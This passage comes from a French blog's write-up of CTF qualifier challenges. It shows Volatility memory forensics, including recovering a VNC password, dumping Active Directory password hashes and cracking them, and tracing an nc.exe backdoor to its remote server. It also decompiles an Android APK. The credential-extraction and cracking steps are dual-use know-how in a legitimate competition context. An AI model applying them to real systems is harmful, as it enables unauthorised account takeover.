<p style="text-align: justify;"><span style="color: #ff6600;">$python vol.py -f dump.raw regobjkeys -p 1696</span></p>
<p style="text-align: justify;"><span style="color: #008000;">Volatile Systems Volatility Framework 1.4_rc1</span><br />
<span style="color: #008000;">Offset(V)  Type   Pid:   1696</span><br />
<span style="color: #008000;">0xe1d64140 Key    MACHINE </span><br />
<span style="color: #008000;">0xe10f5a48 Key    MACHINE\SOFTWARE\REALVNC\WINVNC4 </span><br />
<span style="color: #008000;">0xe1bb4020 Key    MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9</span><br />
<span style="color: #008000;">0xe19fd500 Key    MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5</span><br />
<span style="color: #008000;">0xe1a28480 Key    USER</span></p>
<p style="text-align: justify;">Continuons&#8230;</p>
<p style="text-align: justify;"><span style="color: #ff6600;">$python vol.py printkey -f dump.raw -K &#8216;MACHINE\SOFTWARE\REALVNC\WINVNC4&#8242;</span></p>
<p><span style="color: #008000;">Volatile Systems Volatility Framework 1.4_rc1</span><br />
<span style="color: #008000;">Legend: (S) = Stable   (V) = Volatile</span></p>
<p><span style="color: #008000;">The requested key could not be found in the hive(s) searched</span></p>
<p><span style="color: #008000;">Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\software</span><br />
<span style="color: #008000;">Key name: WinVNC4 (S)</span><br />
<span style="color: #008000;">Last updated: 2011-03-10 13:10:51 </span></p>
<p><span style="color: #008000;">Subkeys:</span></p>
<p><span style="color: #008000;">Values:</span><br />
<span style="color: #008000;">REG_BINARY    Password        : (S) </span><br />
<span style="color: #008000;">0000   DA 6E 31 84 95 77 AD 6B                            .n1..w.k</span></p>
<p><span style="color: #008000;">REG_SZ        SecurityTypes   : (S) VncAuth</span><br />
<span style="color: #008000;">REG_SZ        ReverseSecurityTypes : (S) None</span><br />
<span style="color: #008000;">REG_DWORD     QueryConnect    : (S) 0</span><br />
<span style="color: #008000;">REG_DWORD     QueryOnlyIfLoggedOn : (S) 0</span></p>
<p>Yeah, nous avons le mot de passe en <strong>REG_BINARY</strong>, trouvons un moyen pour l&#8217;avoir en clair (merci google) :</p>
<p><a href="http://packetstormsecurity.org/Crackers/vncdec.c">http://packetstormsecurity.org/Crackers/vncdec.c</a></p>
<p>Après avoir compilé et lancé ce code, nous obtenons : <span style="color: #ff0000;"><strong>secretpq</strong></span></p>
<h2><span style="color: #ff6600;"><strong>6)FORENSIC200</strong></span></h2>
<p>Le fichier README nous indique la chose suivante :</p>
<p><span style="color: #008000;">==</span><br />
<span style="color: #008000;">On a dumpé le fichier <strong>ntds.dit</strong> d&#8217;une machine exécutant un Active Directory. Il faut recuperer le mot de passe du compte<strong> john</strong>.</span><br />
<span style="color: #008000;">==</span></p>
<p style="text-align: justify;">Prenons notre pelle (plus rapide qu&#8217;un poney selon kr0ch0u) Google afin de trouver quelques informations sur la manière dont lire ou insérer notre fichier sur un serveur Windows.</p>
<p>On tombe rapidement sur un article nous indiquant la manière dont charger notre fichier sur un Active Directory offline (windows 2008 server).</p>
<p>N&#8217;ayant pas de 2008 sous la main, kr0ch0u a commencé à le télécharger mais voyant que cela allez prendre des heures, nous avons abandonné cette idée.</p>
<p>C&#8217;est à ce moment qu&#8217;un Monsieur du pseudo de <strong>Joanelis</strong> nous indique que c&#8217;est bon, il a obtenu les hash via &laquo;&nbsp;<a href="http://www.passcape.com/index.php?section=downloads&amp;category=14&amp;id=4">passcap</a>&nbsp;&raquo; :</p>
<p><span style="color: #008000;">Administrateur:500:NO PASSWORD*********************:726a36acb62f51ecee698e66fc118683:Compte d&#8217;utilisateur d&#8217;administration:</span><br />
<span style="color: #008000;">Administrateur:500:aad3b435b51404eeaad3b435b51404ee:NO PASSWORD*********************:LM history hash:</span><br />
<span style="color: #008000;">Administrateur:500:NO PASSWORD*********************:726a36acb62f51ecee698e66fc118683:NT history hash:</span><br />
<span style="color: #008000;">Administrateur:500:NO PASSWORD*********************:fbbf55d0ef0e34d39593f55c5f2ca5f2:NT history hash:</span><br />
<span style="color: #008000;">Invit?:501:NO PASSWORD*********************:NO PASSWORD*********************:Compte d&#8217;utilisateur invit?:</span><br />
<span style="color: #008000;">SUPPORT_388945a0:1001:NO PASSWORD*********************:30d4a2ef16deff366bd4b9f010b1bd26:Ceci est le compte d&#8217;un fournisseur pour les service Aide et support:</span><br />
<span style="color: #008000;">SYSDREAM-TTXW4P$:1005:NO PASSWORD*********************:6580b1de7daec96c9d98dbcd2f63f527::</span><br />
<span style="color: #008000;">krbtgt:502:NO PASSWORD*********************:b316ba9fe983951bfae8262757aa6f18:Compte de service du centre de distribution de cl?s:</span><br />
<span style="color: #008000;">krbtgt:502:aad3b435b51404eeaad3b435b51404ee:NO PASSWORD*********************:LM history hash:</span><br />
<span style="color: #008000;">krbtgt:502:NO PASSWORD*********************:b316ba9fe983951bfae8262757aa6f18:NT history hash:</span><br />
<span style="color: #008000;">john:1108:615a367ca6280c40b4c08420b3143e50:3fb89706895e92798aeda7a399a6c417::</span><br />
<span style="color: #008000;">john:1108:615a367ca6280c40b4c08420b3143e50:NO PASSWORD*********************:LM history hash:</span><br />
<span style="color: #008000;">john:1108:NO PASSWORD*********************:3fb89706895e92798aeda7a399a6c417:NT history hash:</span></p>
<p>Balançons un coup de<a href="http://www.openwall.com/john/"> john</a> sur john ^_^</p>
<p>Apres quelques heures on arrive enfin a trouver le clair : <span style="color: #ff0000;"><strong>TGYD7OE25G</strong></span><br />
Malheureusement, ceci n&#8217;est pas le flag permettant de valider l&#8217;épreuve ! <img src='http://www.lestutosdenico.com/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /> </p>
<p>Testons avec &laquo;&nbsp;<a href="http://www.oxid.it/cain.html">Cain</a>&laquo;&nbsp;&#8230; un petit coup de magie vaudou et hop : <strong><span style="color: #ff0000;">TgYD7oE25g</span></strong></p>
<h2 style="text-align: justify;"><span style="color: #ff6600;"><strong>7)FORENSIC300</strong></span></h2>
<p style="text-align: justify;">Dans l&#8217;intitulé de l’épreuve, on nous parle d&#8217;un ministère ayant été attaqué et que notre but est de comprendre ce qui s&#8217;est passé.</p>
<p style="text-align: justify;">On nous donne une archive zip contenant  &laquo;&nbsp;<strong>DumpRAM_CTF.vmem</strong>&nbsp;&raquo; (on sait qu&#8217;il s&#8217;agit de la RAM a analyser).</p>
<p>Reprenons donc notre <strong>Volatility</strong> :</p>
<p style="text-align: justify;"><span style="color: #ff6600;">$python vol.py -f DumpRAM_CTF.vmem imageinfo</span></p>
<p style="text-align: justify;"><span style="color: #008000;">Suggested Profile(s) : <strong>Win7SP1x86</strong>, <strong>Win7SP0x86</strong></span><br />
<span style="color: #008000;"> AS Layer1 : JKIA32PagedMemoryPae (Kernel AS)</span><br />
<span style="color: #008000;"> AS Layer2 : FileAddressSpace (/home/user/tmp/ndh/forensic1/forensic100/Desktop/Volatility-1.4_rc1/DumpRAM_CTF.vmem)</span><br />
<span style="color: #008000;"> PAE type : No PAE</span><br />
<span style="color: #008000;"> DTB : 0&#215;185000</span><br />
<span style="color: #008000;"> KDBG : 0x8276ebe8L</span><br />
<span style="color: #008000;"> KPCR : 0x8276fc00L</span><br />
<span style="color: #008000;"> KUSER_SHARED_DATA : 0xffdf0000L</span><br />
<span style="color: #008000;"> Image date and time : 2011-03-31 14:41:00 </span><br />
<span style="color: #008000;"> Image local date and time : 2011-03-31 14:41:00 </span><br />
<span style="color: #008000;"> Image Type : </span></p>
<p>Cette fois-ci, nous avons du <strong>Windows 7</strong> &#8230;</p>
<p>Voyons du côté des processus :</p>
<p><span style="color: #ff6600;">$python vol.py -f DumpRAM_CTF.vmem &#8211;profile=Win7SP1x86 pslist<br />
</span></p>
<p><span style="color: #008000;">WARNING : volatility.obj      : Unable to find a type for pointer64, assuming int</span><br />
<span style="color: #008000;"> Offset(V)  Name                 PID    PPID   Thds   Hnds   Time </span><br />
<span style="color: #008000;">&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212; &#8212;&#8212; &#8212;&#8212; &#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- </span><br />
<span style="color: #008000;">0x839af898 System                    4      0     70    434 2011-03-31 14:38:10 </span><br />
<span style="color: #008000;">0x84c01d40 smss.exe                216      4      2     29 2011-03-31 14:38:10 </span><br />
<span style="color: #008000;">0x84ea8030 csrss.exe               304    296      8    310 2011-03-31 14:38:18 </span><br />
<span style="color: #008000;">0x84688d40 wininit.exe             340    296      3     79 2011-03-31 14:38:19 </span><br />
<span style="color: #008000;">0x84f23d40 csrss.exe               352    332      7    169 2011-03-31 14:38:19 </span><br />
<span style="color: #008000;">0x84f8f098 winlogon.exe            392    332      4    112 2011-03-31 14:38:20 </span><br />
<span style="color: #008000;">0x84fa8b20 services.exe            416    340      9    185 2011-03-31 14:38:20 </span><br />
<span style="color: #008000;">0x84fb4030 lsass.exe               424    340      8    462 2011-03-31 14:38:21 </span><br />
<span style="color: #008000;">0x84fb6030 lsm.exe                 432    340     10    141 2011-03-31 14:38:21 </span><br />
<span style="color: #008000;">0x84fd9bc0 svchost.exe             556    416     13    354 2011-03-31 14:38:23 </span><br />
<span style="color: #008000;">0&#215;85031158 svchost.exe             632    416      7    218 2011-03-31 14:38:24 </span><br />
<span style="color: #008000;">0x851757e0 svchost.exe             676    416     20    408 2011-03-31 14:38:25 </span><br />
<span style="color: #008000;">0x851d5030 svchost.exe             800    416     19    401 2011-03-31 14:38:28 </span><br />
<span style="color: #008000;">0x851d06a8 svchost.exe             832    416     34    902 2011-03-31 14:38:28 </span><br />
<span style="color: #008000;">0&#215;85204620 svchost.exe             944    416     13    265 2011-03-31 14:38:29 </span><br />
<span style="color: #008000;">0x847ced40 dwm.exe                1080    800      4     70 2011-03-31 14:38:31 </span><br />
<span style="color: #008000;">0x8521c030 svchost.exe            1140    416     16    365 2011-03-31 14:38:32 </span><br />
<span style="color: #008000;">0x852519e8 spoolsv.exe            1276    416     14    281 2011-03-31 14:38:34 </span><br />
<span style="color: #008000;">0x8525e910 svchost.exe            1312    416     22    311 2011-03-31 14:38:34 </span><br />
<span style="color: #008000;">0x85266d40 taskhost.exe           1324    416     11    166 2011-03-31 14:38:34 </span><br />
<span style="color: #008000;">0x8529d4f0 sppsvc.exe             1664    416      4    146 2011-03-31 14:38:39 </span><br />
<span style="color: #008000;">0x848a7030 explorer.exe           2004   1992     24    591 2011-03-31 14:38:55 </span><br />
<span style="color: #008000;">0x84e9f6c8 rundll32.exe            356    300      4     66 2011-03-31 14:38:57 </span><br />
<span style="color: #008000;">0&#215;85380030 rundll32.exe            500    332      4     66 2011-03-31 14:38:57 </span><br />
<span style="color: #008000;">0&#215;85389478 rundll32.exe            496    504      4     67 2011-03-31 14:38:58 </span><br />
<span style="color: #008000;">0x84df1b70 SearchIndexer.         1528    416     14    605 2011-03-31 14:39:05 </span><br />
<span style="color: #008000;">0x839d7830 cmd.exe                1392   2004      1     23 2011-03-31 14:39:39 </span><br />
<span style="color: #008000;">0x8517c800 conhost.exe            1380    352      3     57 2011-03-31 14:39:40 </span><br />
<span style="color: #008000;">0x853ebb30 mscorsvw.exe            188    416      6     77 2011-03-31 14:40:38 </span><br />
<span style="color: #008000;">0x853ea030 svchost.exe             668    416     13    315 2011-03-31 14:40:40 </span><br />
<span style="color: #008000;">0x83ace030 nc.exe                 1720   1392      2     72 2011-03-31 14:40:41 </span></p>
<p>Le fichier <strong>nc.exe</strong> nous a paru intéressant. Commençons donc par le dumper et voyons ce que ça donne dans un éditeur hexadécimal :</p>
<p style="text-align: justify;"><span style="color: #ff6600;">$python vol.py -f DumpRAM_CTF.vmem &#8211;profile=Win7SP1x86 -p 1720 procmemdump -D out/<br />
</span></p>
<p style="text-align: justify;"><span style="color: #008000;">WARNING : volatility.obj      : Unable to find a type for pointer64, assuming int</span><br />
<span style="color: #008000;">************************************************************************</span><br />
<span style="color: #008000;">Dumping nc.exe, pid:   1720 output: executable.1720.exe</span></p>
<p>En parcourant l&#8217;hexa, nous sommes tombés  sur  le flag suivant :<strong><span style="color: #ff0000;"> Secret pass is H4x0r</span></strong>.</p>
<p>Malheureusement, c&#8217;était un faux flag.</p>
<p style="text-align: justify;">Continuons en regardant du côté des connexions :</p>
<p><span style="color: #ff6600;">$python vol.py -f DumpRAM_CTF.vmem &#8211;profile=Win7SP1x86 netscan</span></p>
<p><span style="color: #008000;">Offset     Proto    Local Address                  Foreign Address      State            Pid      Owner          Created</span><br />
<span style="color: #008000;">WARNING : volatility.obj      : Unable to find a type for pointer64, assuming int</span><br />
<span style="color: #008000;">0x1e4f5930 TCPv4    0.0.0.0:49156                  0.0.0.0:0            LISTENING        416      services.exe </span><br />
<span style="color: #008000;">0x1e4f5930 TCPv6    :::49156                       :::0                 LISTENING        416      services.exe </span><br />
<span style="color: #008000;">0x1e757008 TCPv4    192.168.163.216:139            0.0.0.0:0            LISTENING        4        System </span><br />
<span style="color: #008000;">0x1e764b88 TCPv4    0.0.0.0:135                    0.0.0.0:0            LISTENING        632      svchost.exe </span><br />
<span style="color: #008000;">0x1e764b88 TCPv6    :::135                         :::0                 LISTENING        632      svchost.exe </span><br />
<span style="color: #008000;">0x1e76ca58 TCPv4    0.0.0.0:135                    0.0.0.0:0            LISTENING        632      svchost.exe </span><br />
<span style="color: #008000;">0x1e76ebc8 TCPv4    0.0.0.0:49152                  0.0.0.0:0            LISTENING        340      wininit.exe </span><br />
<span style="color: #008000;">0x1e76ebc8 TCPv6    :::49152                       :::0                 LISTENING        340      wininit.exe </span><br />
<span style="color: #008000;">0x1e7872f0 TCPv4    0.0.0.0:49152                  0.0.0.0:0            LISTENING        340      wininit.exe </span><br />
<span style="color: #008000;">0x1e7ca9b0 TCPv4    0.0.0.0:49153                  0.0.0.0:0            LISTENING        676      svchost.exe </span><br />
<span style="color: #008000;">0x1e7ca9b0 TCPv6    :::49153                       :::0                 LISTENING        676      svchost.exe </span><br />
<span style="color: #008000;">0x1e7caf60 TCPv4    0.0.0.0:49153                  0.0.0.0:0            LISTENING        676      svchost.exe </span><br />
<span style="color: #008000;">0x1eea5f60 TCPv4    0.0.0.0:49155                  0.0.0.0:0            LISTENING        832      svchost.exe </span><br />
<span style="color: #008000;">0x1eea5f60 TCPv6    :::49155                       :::0                 LISTENING        832      svchost.exe </span><br />
<span style="color: #008000;">0x1eea6f60 TCPv4    0.0.0.0:49155                  0.0.0.0:0            LISTENING        832      svchost.exe </span><br />
<span style="color: #008000;">0x1f07fcc0 TCPv4    0.0.0.0:49154                  0.0.0.0:0            LISTENING        424      lsass.exe </span><br />
<span style="color: #008000;">0x1f080f60 TCPv4    0.0.0.0:49154                  0.0.0.0:0            LISTENING        424      lsass.exe </span><br />
<span style="color: #008000;">0x1f080f60 TCPv6    :::49154                       :::0                 LISTENING        424      lsass.exe </span><br />
<span style="color: #008000;">0x1fc482d0 TCPv4    0.0.0.0:49156                  0.0.0.0:0            LISTENING        416      services.exe </span><br />
<span style="color: #008000;">0x1fc49560 TCPv4    0.0.0.0:445                    0.0.0.0:0            LISTENING        4        System </span><br />
<span style="color: #008000;">0x1fc49560 TCPv6    :::445                         :::0                 LISTENING        4        System </span><br />
<span style="color: #008000;">0x1f086df8 TCPv4    192.168.163.216:49158          88.190.230.12:48625  ESTABLISHED      1720     nc.exe </span><br />
<span style="color: #008000;">0x1e608d30 UDPv4    0.0.0.0:5355                   *:*                                   1140     svchost.exe    2011-03-31 14:38:55 </span><br />
<span style="color: #008000;">0x1e60d378 UDPv4    0.0.0.0:0                      *:*                                   1140     svchost.exe    2011-03-31 14:38:55 </span><br />
<span style="color: #008000;">0x1e60d378 UDPv6    :::0                           *:*                                   1140     svchost.exe    2011-03-31 14:38:55 </span><br />
<span style="color: #008000;">0x1e633198 UDPv4    192.168.163.216:137            *:*                                   4        System         2011-03-31 14:38:46 </span><br />
<span style="color: #008000;">0x1e75a178 UDPv4    192.168.163.216:138            *:*                                   4        System         2011-03-31 14:38:46 </span><br />
<span style="color: #008000;">0x1e7c6198 UDPv4    0.0.0.0:5355                   *:*                                   1140     svchost.exe    2011-03-31 14:38:55 </span><br />
<span style="color: #008000;">0x1e7c6198 UDPv6    :::5355                        *:*                                   1140     svchost.exe    2011-03-31 14:38:55 </span></p>
<p>Tiens, notre <strong>nc.exe </strong>est connecté a l&#8217;adresse IP  &laquo;&nbsp;<strong>88.190.230.12</strong>&nbsp;&raquo; sur le port &laquo;&nbsp;<strong>48625</strong>&nbsp;&raquo; , passons donc leur faire un petit coucou <img src='http://www.lestutosdenico.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p><span style="color: #ff6600;">$nc 88.190.230.12 48625</span></p>
<p style="text-align: justify;">Secret pass is H4x0r<br />
Nice job!</p>
<p><strong><span style="color: #ff0000;">The hash is 9vjgH368$hgHGjh</span></strong>.</p>
<h2 style="text-align: justify;"><span style="color: #ff6600;"><strong>8)RCE200</strong></span></h2>
<p style="text-align: justify;">L&#8217;archive de cette épreuve contient le fichier &laquo;&nbsp;<strong>RCE.APK</strong>&nbsp;&raquo; pouvant être dézippé au moyen de unzip.</p>
<p>Plusieurs fichiers dont un<strong> .dex</strong> étaient présents en sortie.<br />
Prenons donc l&#8217;utilitaire &laquo;&nbsp;<a href="http://code.google.com/p/dex2jar/">dex2jar</a>&nbsp;&raquo; afin de transformer comme son nom l&#8217;indique le <strong>.dex</strong> en <strong>.jar</strong>.</p>
<p>Décompilons maintenant ce <strong>.jar </strong>avec &laquo;&nbsp;<a href="http://java.decompiler.free.fr/?q=jdgui">jd-gui</a>&nbsp;&raquo; :</p>
<p style="text-align: justify;"><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/RCE200.png"><img class="aligncenter size-full wp-image-2222" title="RCE200" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/RCE200.png" alt="" width="291" height="444" /></a></p>
<p style="text-align: justify;">Nous pouvons observer 4 classes : reverseme, a, b, c.</p>
<p style="text-align: justify;">Voyons ce que contient la dernière :</p>
<p style="text-align: justify;"><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/RCE200_class_c.png"><img class="aligncenter size-full wp-image-2223" title="RCE200_class_c" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/RCE200_class_c.png" alt="" width="758" height="494" /></a></p>
<p style="text-align: justify;">Nous pouvons voir qu&#8217;il y a plusieurs chaînes obfusquées par un<span style="color: #ff6600;"> <strong>XOR</strong></span> avec une clé de <span style="color: #ff6600;"><strong>0x3C</strong></span>. Lançons le code java suivant afin de récupérer les chaînes désobfusquées :</p>
<p><a href="http://www.lestutosdenico.com/CTF/NDH2K11/CodeRCE200.txt">Lien vers code RCE200</a></p>
<p style="text-align: justify;">Ok, cassons le MD5 que nous obtenons en sortie &laquo;&nbsp;<strong><span style="color: #ff6600;">f9dd11ff6857af73ac9a944dfc52f41b</span></strong>&laquo;&nbsp;,  ce qui nous donne le clair suivant :  &laquo;&nbsp;<span style="color: #ff6600;"><strong>salo**</strong></span>&laquo;&nbsp;</p>
<p style="text-align: justify;">L&#8217;application ayant été installée sur mon téléphone, elle attendait qu&#8217;on lui donne ce mot de passe de vive voix. J&#8217;ai donc crié comme un dératé le mot &laquo;&nbsp;salo&#8230;&nbsp;&raquo;, ma chérie me prenant surement pour un fou (merci Virtu, je retiens !!!).</p>
<p style="text-align: justify;">Malheureusement, chez moi, l&#8217;application n&#8217;a rien voulue savoir. Mais ce n&#8217;était pas bien grave car le flag était simplement le<a href="http://fr.wikipedia.org/wiki/SHA-1"> SHA-1 </a>du mot en question <img src='http://www.lestutosdenico.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p><span style="color: #ff0000;"><strong>913beccad686975f8c686d9b3b1ee6bb97c22d6f</strong></span></p>
<p style="text-align: justify;">Voilà que se termine notre petit Writeup.</p>
<p style="text-align: justify;">En tout cas c&#8217;était bien sympathique même si nous n&#8217;avons pas réussi 4 épreuves (2 crypto et 2  RCE) parmi les 12 proposées. J&#8217;espère qu&#8217;il y aura assez de désistement pour que l&#8217;on puisse tout de même participer au CTF de la <a href="http://www.nuitduhack.com/">Nuit Du Hack</a> <img src='http://www.lestutosdenico.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p style="text-align: justify;">Merci encore à la <a href="http://www.zenk-security.com/">Team Zenk</a> !</p>
<h2 style="text-align: justify;"><strong><span style="color: #ff6600;">Liste de WRITEUPS</span></strong></h2>
<p>Backup des épreuves : <a title="http://repo.shell-storm.org/CTF/NDH2K11-prequals/" href="http://repo.shell-storm.org/CTF/NDH2K11-prequals/">http://repo.shell-storm.org/CTF/NDH2K11-prequals/</a><br />
Résumé côté organisateurs : <a href="http://crashfr.thehackademy.net/resume-prequals-nuit-du-hack-2011">http://crashfr.thehackademy.net/resume-prequals-nuit-du-hack-2011</a></p>
<p><span style="color: #ff6600;"><strong>Disekt Writeup :</strong></span> <a href="http://disekt.inetric.com/taxonomy/term/68">http://disekt.inetric.com/taxonomy/term/68</a><br />
<strong><span style="color: #ff6600;">Smoked Chicken Writeup :</span></strong> <a href="http://smokedchicken.org/m/mt-search.cgi?search=Nuit+Du+Hack&amp;IncludeBlogs=1&amp;limit=20">http://smokedchicken.org/m/mt-search.cgi?search=Nuit+Du+Hack&amp;IncludeBlogs=1&amp;limit=20</a><br />
<strong><span style="color: #ff6600;">404NameNotF0und Writeup : </span></strong><a href="http://blog.w3challs.com/index.php?post/2011/04/05/NDH2k11-Prequals-Compte-Rendu-!#prequals">http://blog.w3challs.com/index.php?post/2011/04/05/NDH2k11-Prequals-Compte-Rendu-!#prequals</a><br />
<strong><span style="color: #ff6600;">RCE200 :</span></strong> <a href="http://binholic.blogspot.com/2011/04/prequals-ndh2011-rce200-android.html">http://binholic.blogspot.com/2011/04/prequals-ndh2011-rce200-android.html</a><br />
<span style="color: #ff6600;"><strong>FORENSIC100 :</strong></span> <a href="http://binholic.blogspot.com/2011/04/prequals-ndh2011-forensic-1-windows.html">http://binholic.blogspot.com/2011/04/prequals-ndh2011-forensic-1-windows.html</a><br />
<strong><span style="color: #ff6600;">CRYPTO300 :</span></strong> <a href="http://leetmore.ctf.su/wp/nuit-du-hack-2011-ctf-crypto-300/">http://leetmore.ctf.su/wp/nuit-du-hack-2011-ctf-crypto-300/</a><br />
<strong><span style="color: #ff6600;">CRYPTO300 :</span></strong> <a href="http://auntitled.blogspot.com/2011/04/nuit-du-hack-ctf-2011-crypto-300.html">http://auntitled.blogspot.com/2011/04/nuit-du-hack-ctf-2011-crypto-300.html</a></p>
<p style="text-align: justify;">&nbsp;</p>

<p><a href="http://feedads.g.doubleclick.net/~a/Ts7Y_D1s2JFB44Vcer2NkKLDJ6I/0/da"><img src="http://feedads.g.doubleclick.net/~a/Ts7Y_D1s2JFB44Vcer2NkKLDJ6I/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/Ts7Y_D1s2JFB44Vcer2NkKLDJ6I/1/da"><img src="http://feedads.g.doubleclick.net/~a/Ts7Y_D1s2JFB44Vcer2NkKLDJ6I/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/LesTutosDeNico/~4/HYvQN6ox4KQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.lestutosdenico.com/evenements/writeup-prequalifications-ndh-2k11/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		<feedburner:origLink>http://www.lestutosdenico.com/evenements/writeup-prequalifications-ndh-2k11</feedburner:origLink></item>
	</channel>
</rss>

